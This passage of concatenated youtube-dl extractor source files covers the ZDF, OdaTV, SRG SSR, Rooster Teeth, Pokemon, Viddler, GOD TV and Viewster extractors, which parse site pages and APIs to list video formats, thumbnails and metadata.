                    'url': '%s://%s' % (proto, param_group['host']),
                    'app': param_group['app'],
                    'play_path': src,
                    'ext': 'flv',
                    'format_id': '%s-%d' % (proto, bitrate),
                    'tbr': bitrate,
                })
        self._sort_formats(formats)
        return formats

    def extract_from_xml_url(self, video_id, xml_url):
        doc = self._download_xml(
            xml_url, video_id,
            note='Downloading video info',
            errnote='Failed to download video info')

        status_code = doc.find('./status/statuscode')
        if status_code is not None and status_code.text != 'ok':
            code = status_code.text
            if code == 'notVisibleAnymore':
                message = 'Video %s is not available' % video_id
            else:
                message = '%s returned error: %s' % (self.IE_NAME, code)
            raise ExtractorError(message, expected=True)

        title = doc.find('.//information/title').text
        description = xpath_text(doc, './/information/detail', 'description')
        duration = int_or_none(xpath_text(doc, './/details/lengthSec', 'duration'))
        uploader = xpath_text(doc, './/details/originChannelTitle', 'uploader')
        uploader_id = xpath_text(doc, './/details/originChannelId', 'uploader id')
        upload_date = unified_strdate(xpath_text(doc, './/details/airtime', 'upload date'))
        subtitles = {}
        captions_url = doc.find('.//caption/url')
        if captions_url is not None:
            subtitles['de'] = [{
                'url': captions_url.text,
                'ext': 'ttml',
            }]

        def xml_to_thumbnails(fnode):
            thumbnails = []
            for node in fnode:
                thumbnail_url = node.text
                if not thumbnail_url:
                    continue
                thumbnail = {
                    'url': thumbnail_url,
                }
                if 'key' in node.attrib:
                    m = re.match('^([0-9]+)x([0-9]+)$', node.attrib['key'])
                    if m:
                        thumbnail['width'] = int(m.group(1))
                        thumbnail['height'] = int(m.group(2))
                thumbnails.append(thumbnail)
            return thumbnails

        thumbnails = xml_to_thumbnails(doc.findall('.//teaserimages/teaserimage'))

        format_nodes = doc.findall('.//formitaeten/formitaet')
        quality = qualities(['veryhigh', 'high', 'med', 'low'])

        def get_quality(elem):
            return quality(xpath_text(elem, 'quality'))
        format_nodes.sort(key=get_quality)
        format_ids = []
        formats = []
        for fnode in format_nodes:
            video_url = fnode.find('url').text
            is_available = 'http://www.metafilegenerator' not in video_url
            if not is_available:
                continue
            format_id = fnode.attrib['basetype']
            quality = xpath_text(fnode, './quality', 'quality')
            format_m = re.match(r'''(?x)
                (?P<vcodec>[^_]+)_(?P<acodec>[^_]+)_(?P<container>[^_]+)_
                (?P<proto>[^_]+)_(?P<index>[^_]+)_(?P<indexproto>[^_]+)
            ''', format_id)

            ext = determine_ext(video_url, None) or format_m.group('container')
            if ext not in ('smil', 'f4m', 'm3u8'):
                format_id = format_id + '-' + quality
            if format_id in format_ids:
                continue

            if ext == 'meta':
                continue
            elif ext == 'smil':
                formats.extend(self._extract_smil_formats(
                    video_url, video_id, fatal=False))
            elif ext == 'm3u8':
                # the certificates are misconfigured (see
                # https://github.com/rg3/youtube-dl/issues/8665)
                if video_url.startswith('https://'):
                    continue
                formats.extend(self._extract_m3u8_formats(
                    video_url, video_id, 'mp4', m3u8_id=format_id, fatal=False))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    video_url, video_id, f4m_id=format_id, fatal=False))
            else:
                proto = format_m.group('proto').lower()

                abr = int_or_none(xpath_text(fnode, './audioBitrate', 'abr'), 1000)
                vbr = int_or_none(xpath_text(fnode, './videoBitrate', 'vbr'), 1000)

                width = int_or_none(xpath_text(fnode, './width', 'width'))
                height = int_or_none(xpath_text(fnode, './height', 'height'))

                filesize = int_or_none(xpath_text(fnode, './filesize', 'filesize'))

                format_note = ''
                if not format_note:
                    format_note = None

                formats.append({
                    'format_id': format_id,
                    'url': video_url,
                    'ext': ext,
                    'acodec': format_m.group('acodec'),
                    'vcodec': format_m.group('vcodec'),
                    'abr': abr,
                    'vbr': vbr,
                    'width': width,
                    'height': height,
                    'filesize': filesize,
                    'format_note': format_note,
                    'protocol': proto,
                    '_available': is_available,
                })
            format_ids.append(format_id)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'thumbnails': thumbnails,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'upload_date': upload_date,
            'formats': formats,
            'subtitles': subtitles,
        }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        xml_url = 'http://www.zdf.de/ZDFmediathek/xmlservice/web/beitragsDetails?ak=web&id=%s' % video_id
        return self.extract_from_xml_url(video_id, xml_url)


class ZDFChannelIE(InfoExtractor):
    _VALID_URL = r'(?:zdf:topic:|https?://www\.zdf\.de/ZDFmediathek(?:#)?/.*kanaluebersicht/(?:[^/]+/)?)(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.zdf.de/ZDFmediathek#/kanaluebersicht/1586442/sendung/Titanic',
        'info_dict': {
            'id': '1586442',
        },
        'playlist_count': 3,
    }, {
        'url': 'http://www.zdf.de/ZDFmediathek/kanaluebersicht/aktuellste/332',
        'only_matching': True,
    }, {
        'url': 'http://www.zdf.de/ZDFmediathek/kanaluebersicht/meist-gesehen/332',
        'only_matching': True,
    }, {
        'url': 'http://www.zdf.de/ZDFmediathek/kanaluebersicht/_/1798716?bc=nrt;nrm?flash=off',
        'only_matching': True,
    }]
    _PAGE_SIZE = 50

    def _fetch_page(self, channel_id, page):
        offset = page * self._PAGE_SIZE
        xml_url = (
            'http://www.zdf.de/ZDFmediathek/xmlservice/web/aktuellste?ak=web&offset=%d&maxLength=%d&id=%s'
            % (offset, self._PAGE_SIZE, channel_id))
        doc = self._download_xml(
            xml_url, channel_id,
            note='Downloading channel info',
            errnote='Failed to download channel info')

        title = doc.find('.//information/title').text
        description = doc.find('.//information/detail').text
        for asset in doc.findall('.//teasers/teaser'):
            a_type = asset.find('./type').text
            a_id = asset.find('./details/assetId').text
            if a_type not in ('video', 'topic'):
                continue
            yield {
                '_type': 'url',
                'playlist_title': title,
                'playlist_description': description,
                'url': 'zdf:%s:%s' % (a_type, a_id),
            }

    def _real_extract(self, url):
        channel_id = self._match_id(url)
        entries = OnDemandPagedList(
            functools.partial(self._fetch_page, channel_id), self._PAGE_SIZE)

        return {
            '_type': 'playlist',
            'id': channel_id,
            'entries': entries,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    NO_DEFAULT,
    remove_start
)


class OdaTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?odatv\.com/(?:mob|vid)_video\.php\?.*\bid=(?P<id>[^&]+)'
    _TESTS = [{
        'url': 'http://odatv.com/vid_video.php?id=8E388',
        'md5': 'dc61d052f205c9bf2da3545691485154',
        'info_dict': {
            'id': '8E388',
            'ext': 'mp4',
            'title': 'Artık Davutoğlu ile devam edemeyiz'
        }
    }, {
        # mobile URL
        'url': 'http://odatv.com/mob_video.php?id=8E388',
        'only_matching': True,
    }, {
        # no video
        'url': 'http://odatv.com/mob_video.php?id=8E900',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        no_video = 'NO VIDEO!' in webpage

        video_url = self._search_regex(
            r'mp4\s*:\s*(["\'])(?P<url>http.+?)\1', webpage, 'video url',
            default=None if no_video else NO_DEFAULT, group='url')

        if no_video:
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

        return {
            'id': video_id,
            'url': video_url,
            'title': remove_start(self._og_search_title(webpage), 'Video: '),
            'thumbnail': self._og_search_thumbnail(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    parse_iso8601,
    qualities,
)


class SRGSSRIE(InfoExtractor):
    _VALID_URL = r'(?:https?://tp\.srgssr\.ch/p(?:/[^/]+)+\?urn=urn|srgssr):(?P<bu>srf|rts|rsi|rtr|swi):(?:[^:]+:)?(?P<type>video|audio):(?P<id>[0-9a-f\-]{36}|\d+)'

    _ERRORS = {
        'AGERATING12': 'To protect children under the age of 12, this video is only available between 8 p.m. and 6 a.m.',
        'AGERATING18': 'To protect children under the age of 18, this video is only available between 11 p.m. and 5 a.m.',
        # 'ENDDATE': 'For legal reasons, this video was only available for a specified period of time.',
        'GEOBLOCK': 'For legal reasons, this video is only available in Switzerland.',
        'LEGAL': 'The video cannot be transmitted for legal reasons.',
        'STARTDATE': 'This video is not yet available. Please try again later.',
    }

    def get_media_data(self, bu, media_type, media_id):
        media_data = self._download_json(
            'http://il.srgssr.ch/integrationlayer/1.0/ue/%s/%s/play/%s.json' % (bu, media_type, media_id),
            media_id)[media_type.capitalize()]

        if media_data.get('block') and media_data['block'] in self._ERRORS:
            raise ExtractorError('%s said: %s' % (
                self.IE_NAME, self._ERRORS[media_data['block']]), expected=True)

        return media_data

    def _real_extract(self, url):
        bu, media_type, media_id = re.match(self._VALID_URL, url).groups()

        if bu == 'rts':
            return self.url_result('rts:%s' % media_id, 'RTS')

        media_data = self.get_media_data(bu, media_type, media_id)

        metadata = media_data['AssetMetadatas']['AssetMetadata'][0]
        title = metadata['title']
        description = metadata.get('description')
        created_date = media_data.get('createdDate') or metadata.get('createdDate')
        timestamp = parse_iso8601(created_date)

        thumbnails = [{
            'id': image.get('id'),
            'url': image['url'],
        } for image in media_data.get('Image', {}).get('ImageRepresentations', {}).get('ImageRepresentation', [])]

        preference = qualities(['LQ', 'MQ', 'SD', 'HQ', 'HD'])
        formats = []
        for source in media_data.get('Playlists', {}).get('Playlist', []) + media_data.get('Downloads', {}).get('Download', []):
            protocol = source.get('@protocol')
            for asset in source['url']:
                asset_url = asset['text']
                quality = asset['@quality']
                format_id = '%s-%s' % (protocol, quality)
                if protocol == 'HTTP-HDS':
                    formats.extend(self._extract_f4m_formats(
                        asset_url + '?hdcore=3.4.0', media_id,
                        f4m_id=format_id, fatal=False))
                elif protocol == 'HTTP-HLS':
                    formats.extend(self._extract_m3u8_formats(
                        asset_url, media_id, 'mp4', 'm3u8_native',
                        m3u8_id=format_id, fatal=False))
                else:
                    formats.append({
                        'format_id': format_id,
                        'url': asset_url,
                        'preference': preference(quality),
                        'ext': 'flv' if protocol == 'RTMP' else None,
                    })
        self._sort_formats(formats)

        return {
            'id': media_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'thumbnails': thumbnails,
            'formats': formats,
        }


class SRGSSRPlayIE(InfoExtractor):
    IE_DESC = 'srf.ch, rts.ch, rsi.ch, rtr.ch and swissinfo.ch play sites'
    _VALID_URL = r'https?://(?:(?:www|play)\.)?(?P<bu>srf|rts|rsi|rtr|swissinfo)\.ch/play/(?:tv|radio)/[^/]+/(?P<type>video|audio)/[^?]+\?id=(?P<id>[0-9a-f\-]{36}|\d+)'

    _TESTS = [{
        'url': 'http://www.srf.ch/play/tv/10vor10/video/snowden-beantragt-asyl-in-russland?id=28e1a57d-5b76-4399-8ab3-9097f071e6c5',
        'md5': '4cd93523723beff51bb4bee974ee238d',
        'info_dict': {
            'id': '28e1a57d-5b76-4399-8ab3-9097f071e6c5',
            'ext': 'm4v',
            'upload_date': '20130701',
            'title': 'Snowden beantragt Asyl in Russland',
            'timestamp': 1372713995,
        }
    }, {
        # No Speichern (Save) button
        'url': 'http://www.srf.ch/play/tv/top-gear/video/jaguar-xk120-shadow-und-tornado-dampflokomotive?id=677f5829-e473-4823-ac83-a1087fe97faa',
        'md5': '0a274ce38fda48c53c01890651985bc6',
        'info_dict': {
            'id': '677f5829-e473-4823-ac83-a1087fe97faa',
            'ext': 'flv',
            'upload_date': '20130710',
            'title': 'Jaguar XK120, Shadow und Tornado-Dampflokomotive',
            'description': 'md5:88604432b60d5a38787f152dec89cd56',
            'timestamp': 1373493600,
        },
    }, {
        'url': 'http://www.rtr.ch/play/radio/actualitad/audio/saira-tujetsch-tuttina-cuntinuar-cun-sedrun-muster-turissem?id=63cb0778-27f8-49af-9284-8c7a8c6d15fc',
        'info_dict': {
            'id': '63cb0778-27f8-49af-9284-8c7a8c6d15fc',
            'ext': 'mp3',
            'upload_date': '20151013',
            'title': 'Saira: Tujetsch - tuttina cuntinuar cun Sedrun Mustér Turissem',
            'timestamp': 1444750398,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.rts.ch/play/tv/-/video/le-19h30?id=6348260',
        'md5': '67a2a9ae4e8e62a68d0e9820cc9782df',
        'info_dict': {
            'id': '6348260',
            'display_id': '6348260',
            'ext': 'mp4',
            'duration': 1796,
            'title': 'Le 19h30',
            'description': '',
            'uploader': '19h30',
            'upload_date': '20141201',
            'timestamp': 1417458600,
            'thumbnail': 're:^https?://.*\.image',
            'view_count': int,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }]

    def _real_extract(self, url):
        bu, media_type, media_id = re.match(self._VALID_URL, url).groups()
        # other info can be extracted from url + '&layout=json'
        return self.url_result('srgssr:%s:%s:%s' % (bu[:3], media_type, media_id), 'SRGSSR')






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    strip_or_none,
    unescapeHTML,
    urlencode_postdata,
)


class RoosterTeethIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?roosterteeth\.com/episode/(?P<id>[^/?#&]+)'
    _LOGIN_URL = 'https://roosterteeth.com/login'
    _NETRC_MACHINE = 'roosterteeth'
    _TESTS = [{
        'url': 'http://roosterteeth.com/episode/million-dollars-but-season-2-million-dollars-but-the-game-announcement',
        'md5': 'e2bd7764732d785ef797700a2489f212',
        'info_dict': {
            'id': '26576',
            'display_id': 'million-dollars-but-season-2-million-dollars-but-the-game-announcement',
            'ext': 'mp4',
            'title': 'Million Dollars, But...: Million Dollars, But... The Game Announcement',
            'description': 'md5:0cc3b21986d54ed815f5faeccd9a9ca5',
            'thumbnail': 're:^https?://.*\.png$',
            'series': 'Million Dollars, But...',
            'episode': 'Million Dollars, But... The Game Announcement',
            'comment_count': int,
        },
    }, {
        'url': 'http://achievementhunter.roosterteeth.com/episode/off-topic-the-achievement-hunter-podcast-2016-i-didn-t-think-it-would-pass-31',
        'only_matching': True,
    }, {
        'url': 'http://funhaus.roosterteeth.com/episode/funhaus-shorts-2016-austin-sucks-funhaus-shorts',
        'only_matching': True,
    }, {
        'url': 'http://screwattack.roosterteeth.com/episode/death-battle-season-3-mewtwo-vs-shadow',
        'only_matching': True,
    }, {
        'url': 'http://theknow.roosterteeth.com/episode/the-know-game-news-season-1-boring-steam-sales-are-better',
        'only_matching': True,
    }, {
        # only available for FIRST members
        'url': 'http://roosterteeth.com/episode/rt-docs-the-world-s-greatest-head-massage-the-world-s-greatest-head-massage-an-asmr-journey-part-one',
        'only_matching': True,
    }]

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_page = self._download_webpage(
            self._LOGIN_URL, None,
            note='Downloading login page',
            errnote='Unable to download login page')

        login_form = self._hidden_inputs(login_page)

        login_form.update({
            'username': username,
            'password': password,
        })

        login_request = self._download_webpage(
            self._LOGIN_URL, None,
            note='Logging in as %s' % username,
            data=urlencode_postdata(login_form),
            headers={
                'Referer': self._LOGIN_URL,
            })

        if not any(re.search(p, login_request) for p in (
                r'href=["\']https?://(?:www\.)?roosterteeth\.com/logout"',
                r'>Sign Out<')):
            error = self._html_search_regex(
                r'(?s)<div[^>]+class=(["\']).*?\balert-danger\b.*?\1[^>]*>(?:\s*<button[^>]*>.*?</button>)?(?P<error>.+?)</div>',
                login_request, 'alert', default=None, group='error')
            if error:
                raise ExtractorError('Unable to login: %s' % error, expected=True)
            raise ExtractorError('Unable to log in')

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        episode = strip_or_none(unescapeHTML(self._search_regex(
            (r'videoTitle\s*=\s*(["\'])(?P<title>(?:(?!\1).)+)\1',
             r'<title>(?P<title>[^<]+)</title>'), webpage, 'title',
            default=None, group='title')))

        title = strip_or_none(self._og_search_title(
            webpage, default=None)) or episode

        m3u8_url = self._search_regex(
            r'file\s*:\s*(["\'])(?P<url>http.+?\.m3u8.*?)\1',
            webpage, 'm3u8 url', default=None, group='url')

        if not m3u8_url:
            if re.search(r'<div[^>]+class=["\']non-sponsor', webpage):
                self.raise_login_required(
                    '%s is only available for FIRST members' % display_id)

            if re.search(r'<div[^>]+class=["\']golive-gate', webpage):
                self.raise_login_required('%s is not available yet' % display_id)

            raise ExtractorError('Unable to extract m3u8 URL')

        formats = self._extract_m3u8_formats(
            m3u8_url, display_id, ext='mp4',
            entry_protocol='m3u8_native', m3u8_id='hls')
        self._sort_formats(formats)

        description = strip_or_none(self._og_search_description(webpage))
        thumbnail = self._proto_relative_url(self._og_search_thumbnail(webpage))

        series = self._search_regex(
            (r'<h2>More ([^<]+)</h2>', r'<a[^>]+>See All ([^<]+) Videos<'),
            webpage, 'series', fatal=False)

        comment_count = int_or_none(self._search_regex(
            r'>Comments \((\d+)\)<', webpage,
            'comment count', fatal=False))

        video_id = self._search_regex(
            (r'containerId\s*=\s*["\']episode-(\d+)\1',
             r'<div[^<]+id=["\']episode-(\d+)'), webpage,
            'video id', default=display_id)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'series': series,
            'episode': episode,
            'comment_count': comment_count,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    extract_attributes,
    int_or_none,
)


class PokemonIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?pokemon\.com/[a-z]{2}(?:.*?play=(?P<id>[a-z0-9]{32})|/[^/]+/\d+_\d+-(?P<display_id>[^/?#]+))'
    _TESTS = [{
        'url': 'http://www.pokemon.com/us/pokemon-episodes/19_01-from-a-to-z/?play=true',
        'md5': '9fb209ae3a569aac25de0f5afc4ee08f',
        'info_dict': {
            'id': 'd0436c00c3ce4071ac6cee8130ac54a1',
            'ext': 'mp4',
            'title': 'From A to Z!',
            'description': 'Bonnie makes a new friend, Ash runs into an old friend, and a terrifying premonition begins to unfold!',
            'timestamp': 1460478136,
            'upload_date': '20160412',
        },
        'add_id': ['LimelightMedia']
    }, {
        'url': 'http://www.pokemon.com/uk/pokemon-episodes/?play=2e8b5c761f1d4a9286165d7748c1ece2',
        'only_matching': True,
    }, {
        'url': 'http://www.pokemon.com/fr/episodes-pokemon/18_09-un-hiver-inattendu/',
        'only_matching': True,
    }, {
        'url': 'http://www.pokemon.com/de/pokemon-folgen/01_20-bye-bye-smettbo/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id, display_id = re.match(self._VALID_URL, url).groups()
        webpage = self._download_webpage(url, video_id or display_id)
        video_data = extract_attributes(self._search_regex(
            r'(<[^>]+data-video-id="%s"[^>]*>)' % (video_id if video_id else '[a-z0-9]{32}'),
            webpage, 'video data element'))
        video_id = video_data['data-video-id']
        title = video_data['data-video-title']
        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': 'limelight:media:%s' % video_id,
            'title': title,
            'description': video_data.get('data-video-summary'),
            'thumbnail': video_data.get('data-video-poster'),
            'series': 'Pokémon',
            'season_number': int_or_none(video_data.get('data-video-season')),
            'episode': title,
            'episode_number': int_or_none(video_data.get('data-video-episode')),
            'ie_key': 'LimelightMedia',
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    float_or_none,
    int_or_none,
    sanitized_Request,
)


class ViddlerIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?viddler\.com/(?:v|embed|player)/(?P<id>[a-z0-9]+)'
    _TESTS = [{
        'url': 'http://www.viddler.com/v/43903784',
        'md5': '9eee21161d2c7f5b39690c3e325fab2f',
        'info_dict': {
            'id': '43903784',
            'ext': 'mov',
            'title': 'Video Made Easy',
            'description': 'md5:6a697ebd844ff3093bd2e82c37b409cd',
            'uploader': 'viddler',
            'timestamp': 1335371429,
            'upload_date': '20120425',
            'duration': 100.89,
            'thumbnail': 're:^https?://.*\.jpg$',
            'view_count': int,
            'comment_count': int,
            'categories': ['video content', 'high quality video', 'video made easy', 'how to produce video with limited resources', 'viddler'],
        }
    }, {
        'url': 'http://www.viddler.com/v/4d03aad9/',
        'md5': 'f12c5a7fa839c47a79363bfdf69404fb',
        'info_dict': {
            'id': '4d03aad9',
            'ext': 'ts',
            'title': 'WALL-TO-GORTAT',
            'upload_date': '20150126',
            'uploader': 'deadspin',
            'timestamp': 1422285291,
            'view_count': int,
            'comment_count': int,
        }
    }, {
        'url': 'http://www.viddler.com/player/221ebbbd/0/',
        'md5': '740511f61d3d1bb71dc14a0fe01a1c10',
        'info_dict': {
            'id': '221ebbbd',
            'ext': 'mov',
            'title': 'LETeens-Grammar-snack-third-conditional',
            'description': ' ',
            'upload_date': '20140929',
            'uploader': 'BCLETeens',
            'timestamp': 1411997190,
            'view_count': int,
            'comment_count': int,
        }
    }, {
        # secret protected
        'url': 'http://www.viddler.com/v/890c0985?secret=34051570',
        'info_dict': {
            'id': '890c0985',
            'ext': 'mp4',
            'title': 'Complete Property Training - Traineeships',
            'description': ' ',
            'upload_date': '20130606',
            'uploader': 'TiffanyBowtell',
            'timestamp': 1370496993,
            'view_count': int,
            'comment_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        query = {
            'video_id': video_id,
            'key': 'v0vhrt7bg2xq1vyxhkct',
        }

        qs = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query)
        secret = qs.get('secret', [None])[0]
        if secret:
            query['secret'] = secret

        headers = {'Referer': 'http://static.cdn-ec.viddler.com/js/arpeggio/v2/embed.html'}
        request = sanitized_Request(
            'http://api.viddler.com/api/v2/viddler.videos.getPlaybackDetails.json?%s'
            % compat_urllib_parse_urlencode(query), None, headers)
        data = self._download_json(request, video_id)['video']

        formats = []
        for filed in data['files']:
            if filed.get('status', 'ready') != 'ready':
                continue
            format_id = filed.get('profile_id') or filed['profile_name']
            f = {
                'format_id': format_id,
                'format_note': filed['profile_name'],
                'url': self._proto_relative_url(filed['url']),
                'width': int_or_none(filed.get('width')),
                'height': int_or_none(filed.get('height')),
                'filesize': int_or_none(filed.get('size')),
                'ext': filed.get('ext'),
                'source_preference': -1,
            }
            formats.append(f)

            if filed.get('cdn_url'):
                f = f.copy()
                f['url'] = self._proto_relative_url(filed['cdn_url'], 'http:')
                f['format_id'] = format_id + '-cdn'
                f['source_preference'] = 1
                formats.append(f)

            if filed.get('html5_video_source'):
                f = f.copy()
                f['url'] = self._proto_relative_url(filed['html5_video_source'])
                f['format_id'] = format_id + '-html5'
                f['source_preference'] = 0
                formats.append(f)
        self._sort_formats(formats)

        categories = [
            t.get('text') for t in data.get('tags', []) if 'text' in t]

        return {
            'id': video_id,
            'title': data['title'],
            'formats': formats,
            'description': data.get('description'),
            'timestamp': int_or_none(data.get('upload_time')),
            'thumbnail': self._proto_relative_url(data.get('thumbnail_url')),
            'uploader': data.get('author'),
            'duration': float_or_none(data.get('length')),
            'view_count': int_or_none(data.get('view_count')),
            'comment_count': int_or_none(data.get('comment_count')),
            'categories': categories,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from .ooyala import OoyalaIE
from ..utils import js_to_json


class GodTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?god\.tv(?:/[^/]+)*/(?P<id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://god.tv/jesus-image/video/jesus-conference-2016/randy-needham',
        'info_dict': {
            'id': 'lpd3g2MzE6D1g8zFAKz8AGpxWcpu6o_3',
            'ext': 'mp4',
            'title': 'Randy Needham',
            'duration': 3615.08,
        },
        'params': {
            'skip_download': True,
        }
    }, {
        'url': 'http://god.tv/playlist/bible-study',
        'info_dict': {
            'id': 'bible-study',
        },
        'playlist_mincount': 37,
    }, {
        'url': 'http://god.tv/node/15097',
        'only_matching': True,
    }, {
        'url': 'http://god.tv/live/africa',
        'only_matching': True,
    }, {
        'url': 'http://god.tv/liveevents',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        settings = self._parse_json(
            self._search_regex(
                r'jQuery\.extend\(Drupal\.settings\s*,\s*({.+?})\);',
                webpage, 'settings', default='{}'),
            display_id, transform_source=js_to_json, fatal=False)

        ooyala_id = None

        if settings:
            playlist = settings.get('playlist')
            if playlist and isinstance(playlist, list):
                entries = [
                    OoyalaIE._build_url_result(video['content_id'])
                    for video in playlist if video.get('content_id')]
                if entries:
                    return self.playlist_result(entries, display_id)
            ooyala_id = settings.get('ooyala', {}).get('content_id')

        if not ooyala_id:
            ooyala_id = self._search_regex(
                r'["\']content_id["\']\s*:\s*(["\'])(?P<id>[\w-]+)\1',
                webpage, 'ooyala id', group='id')

        return OoyalaIE._build_url_result(ooyala_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_urllib_parse_unquote,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    int_or_none,
    parse_iso8601,
    sanitized_Request,
    HEADRequest,
    url_basename,
)


class ViewsterIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?viewster\.com/(?:serie|movie)/(?P<id>\d+-\d+-\d+)'
    _TESTS = [{
        # movie, Type=Movie
        'url': 'http://www.viewster.com/movie/1140-11855-000/the-listening-project/',
        'md5': 'e642d1b27fcf3a4ffa79f194f5adde36',
        'info_dict': {
            'id': '1140-11855-000',
            'ext': 'mp4',
            'title': 'The listening Project',
            'description': 'md5:bac720244afd1a8ea279864e67baa071',
            'timestamp': 1214870400,
            'upload_date': '20080701',
            'duration': 4680,
        },
    }, {
        # series episode, Type=Episode
        'url': 'http://www.viewster.com/serie/1284-19427-001/the-world-and-a-wall/',
        'md5': '9243079a8531809efe1b089db102c069',
        'info_dict': {
            'id': '1284-19427-001',
            'ext': 'mp4',
            'title': 'The World and a Wall',
            'description': 'md5:24814cf74d3453fdf5bfef9716d073e3',
            'timestamp': 1428192000,
            'upload_date': '20150405',
            'duration': 1500,
        },
    }, {
        # serie, Type=Serie
        'url': 'http://www.viewster.com/serie/1303-19426-000/',
        'info_dict': {
            'id': '1303-19426-000',
            'title': 'Is It Wrong to Try to Pick up Girls in a Dungeon?',
            'description': 'md5:eeda9bef25b0d524b3a29a97804c2f11',
        },
        'playlist_count': 13,
    }, {
        # unfinished serie, no Type
        'url': 'http://www.viewster.com/serie/1284-19427-000/baby-steps-season-2/',
        'info_dict': {
            'id': '1284-19427-000',
            'title': 'Baby Steps—Season 2',
            'description': 'md5:e7097a8fc97151e25f085c9eb7a1cdb1',
        },
        'playlist_mincount': 16,
    }, {
        # geo restricted series
        'url': 'https://www.viewster.com/serie/1280-18794-002/',
        'only_matching': True,
    }, {
        # geo restricted video
        'url': 'https://www.viewster.com/serie/1280-18794-002/what-is-extraterritoriality-lawo/',
        'only_matching': True,
    }]

    _ACCEPT_HEADER = 'application/json, text/javascript, */*; q=0.01'

    def _download_json(self, url, video_id, note='Downloading JSON metadata', fatal=True, query={}):
        request = sanitized_Request(url)
        request.add_header('Accept', self._ACCEPT_HEADER)
        request.add_header('Auth-token', self._AUTH_TOKEN)
        return super(ViewsterIE, self)._download_json(request, video_id, note, fatal=fatal, query=query)

    def _real_extract(self, url):
        video_id = self._match_id(url)
        # Get 'api_token' cookie
        self._request_webpage(HEADRequest('http://www.viewster.com/'), video_id)
        cookies = self._get_cookies('http://www.viewster.com/')
        self._AUTH_TOKEN = compat_urllib_parse_unquote(cookies['api_token'].value)

        info = self._download_json(
            'https://public-api.viewster.com/search/%s' % video_id,
            video_id, 'Downloading entry JSON')

        entry_id = info.get('Id') or info['id']

        # unfinished serie has no Type
        if info.get('Type') in ('Serie', None):
            try:
                episodes = self._download_json(
                    'https://public-api.viewster.com/series/%s/episodes' % entry_id,
                    video_id, 'Downloading series JSON')
            except ExtractorError as e:
                if isinstance(e.cause, compat_HTTPError) and e.cause.code == 404:
                    self.raise_geo_restricted()
                else:
                    raise
            entries = [
                self.url_result(
                    'http://www.viewster.com/movie/%s' % episode['OriginId'], 'Viewster')
                for episode in episodes]
            title = (info.get('Title') or info['Synopsis']['Title']).strip()
            description = info.get('Synopsis', {}).get('Detailed')
            return self.playlist_result(entries, video_id, title, description)

        formats = []
        for language_set in info.get('LanguageSets', []):
            manifest_url = None
            m3u8_formats = []
            audio = language_set.get('Audio') or ''
            subtitle = language_set.get('Subtitle') or ''
            base_format_id = audio
            if subtitle:
                base_format_id += '-%s' % subtitle

            def concat(suffix, sep='-'):
                return (base_format_id + '%s%s' % (sep, suffix)) if base_format_id else suffix

            for media_type in ('application/f4m+xml', 'application/x-mpegURL', 'video/mp4'):
                media = self._download_json(
                    'https://public-api.viewster.com/movies/%s/video' % entry_id,
                    video_id, 'Downloading %s JSON' % concat(media_type, ' '), fatal=False, query={
                        'mediaType': media_type,
                        'language': audio,
                        'subtitle': subtitle,
                    })
                if not media:
                    continue
                video_url = media.get('Uri')
                if not video_url:
                    continue
                ext = determine_ext(video_url)
                if ext == 'f4m':
                    manifest_url = video_url
                    video_url += '&' if '?' in video_url else '?'
                    video_url += 'hdcore=3.2.0&plugin=flowplayer-3.2.0.1'
                    formats.extend(self._extract_f4m_formats(
                        video_url, video_id, f4m_id=concat('hds')))
                elif ext == 'm3u8':
                    manifest_url = video_url
                    m3u8_formats = self._extract_m3u8_formats(
                        video_url, video_id, 'mp4', m3u8_id=concat('hls'),
                        fatal=False)  # m3u8 sometimes fail
                    if m3u8_formats:
                        formats.extend(m3u8_formats)
                else:
                    qualities_basename = self._search_regex(
                        '/([^/]+)\.csmil/',
                        manifest_url, 'qualities basename', default=None)
                    if not qualities_basename:
                        continue
                    QUALITIES_RE = r'((,\d+k)+,?)'
                    qualities = self._search_regex(
